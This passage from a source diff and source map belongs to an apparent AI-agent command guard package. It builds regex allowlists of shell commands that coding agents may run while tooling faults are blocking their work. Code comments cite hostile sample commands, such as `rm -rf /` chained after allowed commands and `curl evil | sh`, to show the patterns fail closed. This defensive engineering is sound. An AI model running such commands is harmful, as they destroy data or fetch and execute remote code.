untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/ai-hook-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of FETCH_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, EVERY_HARNESS, new L0Call('Read', '', 'README.md')),\n // TOOL-SHAPED, like the Read entry above and for the same reason: no regex can express \"this tool\n // has nothing to judge\". See L0_IGNORED_TOOLS for why the list is explicit and why `apply_patch`\n // (Codex's only WRITE) is deliberately not on it.\n new L0AllowEntry(`a Codex tool with nothing to judge: ${[...L0_IGNORED_TOOLS].join(', ')}`,\n 'pass', false, null, null,\n EVERY_HARNESS, new L0Call('update_plan', '', ''),\n [new L0Call('view_image', '', ''), new L0Call('webrun', '', '')]),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n EVERY_HARNESS, new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n // THE MANIFEST ESCAPE, and it is an escape L1 row 8 already PROMISED before it existed. Its report\n // says \"STILL ALLOWED HERE: ... edits to pnpm-workspace.yaml / package.json / webpieces.config.json\"\n // and its docblock calls that one of \"two structurally independent escapes\" — but only\n // CONFIG_FILENAME was ever carved out, so the promised cure was untypable from inside the block. The\n // pin lives in pnpm-workspace.yaml's catalog, so an agent whose ONLY correct move is \"raise this\n // tree's pin to what the governing tree already installs\" could not make it.\n //\n // TOOL-SHAPED on purpose (`ere`/`js` both null, like the two entries above): no regex can express\n // \"an Edit whose target is this file\", and a Bash-shaped entry would face the shadowing and\n // single-non-cure-entry invariants that only apply to commands.\n //\n // `pass`, never `allow`, and be precise about what that buys. It is L0 declining to be TERMINAL, so\n // the call falls through to whatever runs next — it is NOT a promise that L1/L2 then judge the edit.\n // The runner carves the same two files out on its own edit path (an early `return null`, beside the\n // webpieces.config.json pass). Scoped by isRootManifest, so it admits the root of the MAIN tree and\n // of every worktree — and no other package.json in the repo.\n new L0AllowEntry(`a Write/Edit whose target is a tree ROOT's ${WORKSPACE_MANIFEST} or ${PACKAGE_MANIFEST} - the version pin`,\n 'pass', false, null, null,\n EVERY_HARNESS, new L0Call('Edit', '', `/repo/${WORKSPACE_MANIFEST}`),\n [new L0Call('Write', '', `/repo/${PACKAGE_MANIFEST}`)]),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync subcommand in a doc label, not an HTTP call\n new L0AllowEntry('git fetch - a bare git pull and git merge are NOT on the list', 'allow', true, FETCH_BODY_ERE, FETCH_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', 'git fetch', ''),\n [new L0Call('Bash', 'git fetch --prune origin main', '')]),\n // The one fork-point-safe pull: it ends on MAIN, so no feature branch is merged into. A bare\n // `git pull origin main` is deliberately NOT here — see CHECKOUT_MAIN_PULL_BODY_ERE.\n new L0AllowEntry(CHECKOUT_MAIN_PULL_CMD, 'allow', true, CHECKOUT_MAIN_PULL_BODY_ERE, CHECKOUT_MAIN_PULL_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', CHECKOUT_MAIN_PULL_CMD, '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n // The cure for unknown keys in webpieces.config.json — see PRUNE_CONFIG_BODY_ERE for why a cure the\n // messages name must be reachable from inside the block those messages are read under.\n new L0AllowEntry(PRUNE_UNKNOWN_COMMAND, 'allow', true, PRUNE_CONFIG_BODY_ERE, PRUNE_CONFIG_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', PRUNE_UNKNOWN_COMMAND, ''),\n [new L0Call('Bash', 'pnpm exec wp-prune-unknown-config', '')]),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(`${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n EVERY_HARNESS, new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n // CODEX ONLY — entry 1's twin for the harness that has no `Read` tool. See CODEX_READ_BODY_ERE for\n // the deadlock it removes, why it is exactly as wide as core/shell-read-parity.ts, and why it alone\n // carries no `cd` prefix and no capture tail.\n //\n // NOT a cure (`cure: false`), for the identical reason read-only orientation is not one: it repairs\n // nothing, so on a HEALTHY tree it must not bypass L1 — a Codex `cat` still meets the ordinary bash\n // guards. And `pass`, not `allow`, so it mirrors entry 1 exactly: where the bin is running (fault\n // S) the read falls THROUGH to read-stale-guard, and where it is not (D/X/U/K) the sh half is\n // terminal by construction, which is the documented asymmetry entry 1 already has.\n new L0AllowEntry(\n 'CODEX ONLY - a read-shaped Bash command (the harness has no Read tool): '\n + `${[...READ_COMMANDS].join(', ')}, or sed -n '<range>p'`,\n 'pass', false, CODEX_READ_BODY_ERE, CODEX_READ_BODY_JS, 'codex',\n new L0Call('Bash', CODEX_READ_CMD, ''),\n [\n new L0Call('Bash', 'cat webpieces.config.json', ''),\n new L0Call('Bash', 'head -50 .webpieces/instruct-ai/webpieces.guard-matrix.md', ''),\n new L0Call('Bash', 'tail -n 20 package.json', ''),\n new L0Call('Bash', \"cat '/Users/dean hiller/repo/package.json'\", ''),\n ]),\n];\n\n// The UNGATED bodies — every entry that is not scoped to one harness. A gated entry is spliced into its\n// own union below instead, which is what makes it unreachable from the harness it is not for.\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.ere === null || e.harness !== EVERY_HARNESS ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || e.harness !== EVERY_HARNESS ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\n//\n// A harness-GATED entry is excluded here too, and not merely because today's one is a non-cure: this\n// union is consulted by runner.ts where NO harness has been established either, so a gated body spliced\n// in would be judged with the gate missing — i.e. reachable from the harness it was written to exclude.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure || e.harness !== EVERY_HARNESS ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n"]}
@@ -13,8 +13,8 @@ const shell_read_parity_1 = require("../core/shell-read-parity");
13
13
  // message is telling it to perform. That is a hard deadlock, and it is the exact failure class this
14
14
  // whole module exists to remove.
15
15
  //
16
- // So this entry is entry 1's twin for the other harness, and it is GATED ON `aiType` (see
17
- // L0AllowEntry.aiType). A Claude payload can never reach it — Claude already has `Read`, and widening
16
+ // So this entry is entry 1's twin for the other harness, and it is GATED ON its harness (see
17
+ // L0AllowEntry.harness). A Claude payload can never reach it — Claude already has `Read`, and widening
18
18
  // L0's Bash surface for a harness that does not need it is a change to the one behaviour that must not
19
19
  // change. `codex-l0-read.spec.ts` proves the unreachability rather than asserting it in a comment.
20
20
  //
@@ -1 +1 @@
1
- {"version":3,"file":"l0-codex-read.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/l0-codex-read.ts"],"names":[],"mappings":"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","sourcesContent":["import { READ_COMMANDS, SED_RANGE_BODY } from '../core/shell-read-parity';\n\n// ---------------------------------------------------------------------------\n// CODEX READ PARITY AT L0 — the deadlock PR #731 measured and deliberately left open.\n//\n// Allowlist entry 1 is \"any Read\", and under Claude Code that single entry is what makes every L0 fault\n// SURVIVABLE rather than fatal: the agent is denied all work, reads the config / the logs / the matrix\n// doc, and diagnoses its way out. CODEX HAS NO `Read` TOOL. Measured on codex-cli 0.151.0, a file read\n// arrives as `tool_name: \"Bash\"` running `sed -n '1,240p' package.json`. Nothing on the list above\n// matches that, so under D/X/U/K/S a Codex session is denied EVERYTHING — including the reads the deny\n// message is telling it to perform. That is a hard deadlock, and it is the exact failure class this\n// whole module exists to remove.\n//\n// So this entry is entry 1's twin for the other harness, and it is GATED ON `aiType` (see\n// L0AllowEntry.aiType). A Claude payload can never reach it — Claude already has `Read`, and widening\n// L0's Bash surface for a harness that does not need it is a change to the one behaviour that must not\n// change. `codex-l0-read.spec.ts` proves the unreachability rather than asserting it in a comment.\n//\n// ─── AS WIDE AS core/shell-read-parity.ts AND NO WIDER ─────────────────────────────────────────────\n// That module is the repo's ONE definition of \"this Codex Bash call is a read\", and this pattern is\n// built from its exported vocabulary (READ_COMMANDS, SED_RANGE_BODY) rather than a second list. It\n// cannot literally call it — L0's sh half has no JS, and the JS half runs where nothing above it can be\n// trusted — so what is shared is the vocabulary and what is asserted is agreement over a corpus.\n//\n// Where it is deliberately NARROWER than that module: the shell-read predicate also resolves every\n// operand against the filesystem and rejects anything outside the tree. A regex cannot ask the\n// filesystem, so this pattern simply refuses everything the predicate refuses SYNTACTICALLY and accepts\n// a superset only in the \"does this path exist here\" dimension. That dimension is not a privilege\n// boundary at L0: entry 1 grants Claude an unrestricted Read of any path already.\n//\n// NO `cd` PREFIX AND NO CAPTURE TAIL, unlike every entry above, and that is the point rather than an\n// oversight. `shell-read-parity` treats `|`, `&&`, `;` and every redirect as PROOF the command is not a\n// read; splicing CAPTURE_TAIL_ERE on would make this entry accept `cat x | tail -20`, which that module\n// says is not a read — i.e. it would make this entry WIDER than the definition it is supposed to share.\n// The cost is that `sed -n '1,240p' x 2>/dev/null` is denied; the deny text names the bare spelling, and\n// bare is how Codex actually spells a read (measured).\n//\n// WHAT CANNOT RIDE ALONG: every character class below excludes `;` `&` `|` `` ` `` `<` `>` `$` and the\n// double quote, so no chaining, no redirect, no substitution and no expansion is expressible — the same\n// set `NOT_ONE_COMMAND` rejects, enforced by construction instead of by a scan. A path containing\n// spaces is reachable through the single-quoted branch, where sh performs no expansion at all.\n// Keep in sync with CODEX_READ_BODY_JS below (locked by a unit test).\n// `-50` (head/tail's line count) as well as `-n` / `--number`: `shell-read-parity` skips every token\n// starting with `-`, so a flag shape it accepts and this pattern rejects is a spelling the deny would\n// leave untypable — the deadlock this entry exists to remove, one level down.\nconst CODEX_READ_FLAG_ERE = '(-[0-9]+|-{1,2}[A-Za-z][A-Za-z0-9=._-]*)';\n// A path token: no leading `-` (that is a flag, and a bare `-` is stdin, not a file), or any path at all\n// inside single quotes — where the ONLY character that can end the region is the one the class excludes.\nconst CODEX_READ_PATH_ERE = \"([A-Za-z0-9._/@~+,:][A-Za-z0-9._/@~+,:-]*|'[^']+')\";\nconst CODEX_READ_ARG_ERE = '(' + CODEX_READ_FLAG_ERE + '|' + CODEX_READ_PATH_ERE + ')';\n// `<pager> [flags…] <path> [more args…]` — at least one path operand is REQUIRED, so `cat` on its own\n// (which reads stdin, not a file) is not a read here either.\nconst CODEX_PAGER_ERE =\n '(' + [...READ_COMMANDS].join('|') + ')([[:space:]]+' + CODEX_READ_ARG_ERE + ')*'\n + '[[:space:]]+' + CODEX_READ_PATH_ERE + '([[:space:]]+' + CODEX_READ_ARG_ERE + ')*';\n// `sed -n '<range>p' <path>` — BOTH halves required, exactly as sedOperands() requires them: without\n// `-n` sed echoes and edits, and any script that is not a bare range print is a transformation.\nconst CODEX_SED_ERE =\n 'sed[[:space:]]+-n[[:space:]]+(' + SED_RANGE_BODY + \"|'\" + SED_RANGE_BODY + \"')\"\n + '([[:space:]]+' + CODEX_READ_ARG_ERE + ')*[[:space:]]+' + CODEX_READ_PATH_ERE\n + '([[:space:]]+' + CODEX_READ_ARG_ERE + ')*';\nexport const CODEX_READ_BODY_ERE = '(' + CODEX_PAGER_ERE + '|' + CODEX_SED_ERE + ')';\n\n// JS-regex-source twin of CODEX_READ_BODY_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst CODEX_READ_FLAG_JS = '(-[0-9]+|-{1,2}[A-Za-z][A-Za-z0-9=._-]*)';\nconst CODEX_READ_PATH_JS = \"([A-Za-z0-9._\\\\/@~+,:][A-Za-z0-9._\\\\/@~+,:-]*|'[^']+')\";\nconst CODEX_READ_ARG_JS = '(' + 